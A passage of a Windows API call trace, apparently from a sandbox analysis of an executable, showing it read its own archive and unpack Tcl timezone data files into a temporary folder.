0x10c [0038.115] GetFileType (hFile=0x10c) returned 0x1 [0038.115] htonl (hostlong=0x551c0000) returned 0x1c55 [0038.115] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.116] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.116] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc55, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc55, lpOverlapped=0x0) returned 1 [0038.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.117] CloseHandle (hObject=0x10c) returned 1 [0038.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.118] htonl (hostlong=0x30000000) returned 0x30 [0038.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.118] GetFileType (hFile=0x10c) returned 0x1 [0038.118] htonl (hostlong=0xbb4a5800) returned 0x584abb [0038.118] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfabb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.118] htonl (hostlong=0x9f000000) returned 0x9f [0038.118] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0038.118] htonl (hostlong=0x9f000000) returned 0x9f [0038.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.119] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.119] htonl (hostlong=0xc5000000) returned 0xc5 [0038.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc5) returned 0x550600 [0038.119] htonl (hostlong=0x9f000000) returned 0x9f [0038.119] htonl (hostlong=0xc5000000) returned 0xc5 [0038.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.120] CloseHandle (hObject=0x10c) returned 1 [0038.120] GetLastError () returned 0x0 [0038.120] SetLastError (dwErrCode=0x0) [0038.120] GetLastError () returned 0x0 [0038.120] SetLastError (dwErrCode=0x0) [0038.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.120] GetFileType (hFile=0x10c) returned 0x1 [0038.120] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.120] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.120] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.120] CloseHandle (hObject=0x10c) returned 1 [0038.120] GetLastError () returned 0x0 [0038.120] SetLastError (dwErrCode=0x0) [0038.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.121] GetFileType (hFile=0x10c) returned 0x1 [0038.121] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.121] CloseHandle (hObject=0x10c) returned 1 [0038.121] GetLastError () returned 0x0 [0038.121] SetLastError (dwErrCode=0x0) [0038.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.121] GetFileType (hFile=0x10c) returned 0x1 [0038.121] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.122] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.122] CloseHandle (hObject=0x10c) returned 1 [0038.122] GetLastError () returned 0x0 [0038.122] SetLastError (dwErrCode=0x0) [0038.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry") returned 71 [0038.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\conakry"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.122] GetLastError () returned 0x2 [0038.122] SetLastError (dwErrCode=0x2) [0038.122] GetLastError () returned 0x2 [0038.122] SetLastError (dwErrCode=0x2) [0038.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry", lpFilePart=0x0) returned 0x46 [0038.122] GetLastError () returned 0x2 [0038.122] SetLastError (dwErrCode=0x2) [0038.122] GetLastError () returned 0x2 [0038.122] SetLastError (dwErrCode=0x2) [0038.122] GetLastError () returned 0x2 [0038.122] SetLastError (dwErrCode=0x2) [0038.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry") returned 71 [0038.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Conakry" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\conakry"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.122] GetFileType (hFile=0x10c) returned 0x1 [0038.122] htonl (hostlong=0xc5000000) returned 0xc5 [0038.123] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.123] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc5, lpOverlapped=0x0) returned 1 [0038.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.124] CloseHandle (hObject=0x10c) returned 1 [0038.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.124] htonl (hostlong=0x30000000) returned 0x30 [0038.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.124] GetFileType (hFile=0x10c) returned 0x1 [0038.124] htonl (hostlong=0x5a4b5800) returned 0x584b5a [0038.124] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfb5a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.125] htonl (hostlong=0x96000000) returned 0x96 [0038.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0038.125] htonl (hostlong=0x96000000) returned 0x96 [0038.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.125] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.125] htonl (hostlong=0xa9000000) returned 0xa9 [0038.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x550600 [0038.125] htonl (hostlong=0x96000000) returned 0x96 [0038.125] htonl (hostlong=0xa9000000) returned 0xa9 [0038.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.125] CloseHandle (hObject=0x10c) returned 1 [0038.125] GetLastError () returned 0x0 [0038.125] SetLastError (dwErrCode=0x0) [0038.125] GetLastError () returned 0x0 [0038.125] SetLastError (dwErrCode=0x0) [0038.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.125] GetFileType (hFile=0x10c) returned 0x1 [0038.125] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.126] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.126] CloseHandle (hObject=0x10c) returned 1 [0038.126] GetLastError () returned 0x0 [0038.126] SetLastError (dwErrCode=0x0) [0038.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.126] GetFileType (hFile=0x10c) returned 0x1 [0038.126] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.126] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.126] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.127] CloseHandle (hObject=0x10c) returned 1 [0038.127] GetLastError () returned 0x0 [0038.127] SetLastError (dwErrCode=0x0) [0038.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.127] GetFileType (hFile=0x10c) returned 0x1 [0038.127] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.127] CloseHandle (hObject=0x10c) returned 1 [0038.127] GetLastError () returned 0x0 [0038.127] SetLastError (dwErrCode=0x0) [0038.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar") returned 69 [0038.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\dakar"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.127] GetLastError () returned 0x2 [0038.127] SetLastError (dwErrCode=0x2) [0038.127] GetLastError () returned 0x2 [0038.128] SetLastError (dwErrCode=0x2) [0038.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar", lpFilePart=0x0) returned 0x44 [0038.128] GetLastError () returned 0x2 [0038.128] SetLastError (dwErrCode=0x2) [0038.128] GetLastError () returned 0x2 [0038.128] SetLastError (dwErrCode=0x2) [0038.128] GetLastError () returned 0x2 [0038.128] SetLastError (dwErrCode=0x2) [0038.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar") returned 69 [0038.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Dakar" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\dakar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.128] GetFileType (hFile=0x10c) returned 0x1 [0038.128] htonl (hostlong=0xa9000000) returned 0xa9 [0038.128] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.128] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa9, lpOverlapped=0x0) returned 1 [0038.130] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.130] CloseHandle (hObject=0x10c) returned 1 [0038.130] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.130] htonl (hostlong=0x30000000) returned 0x30 [0038.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 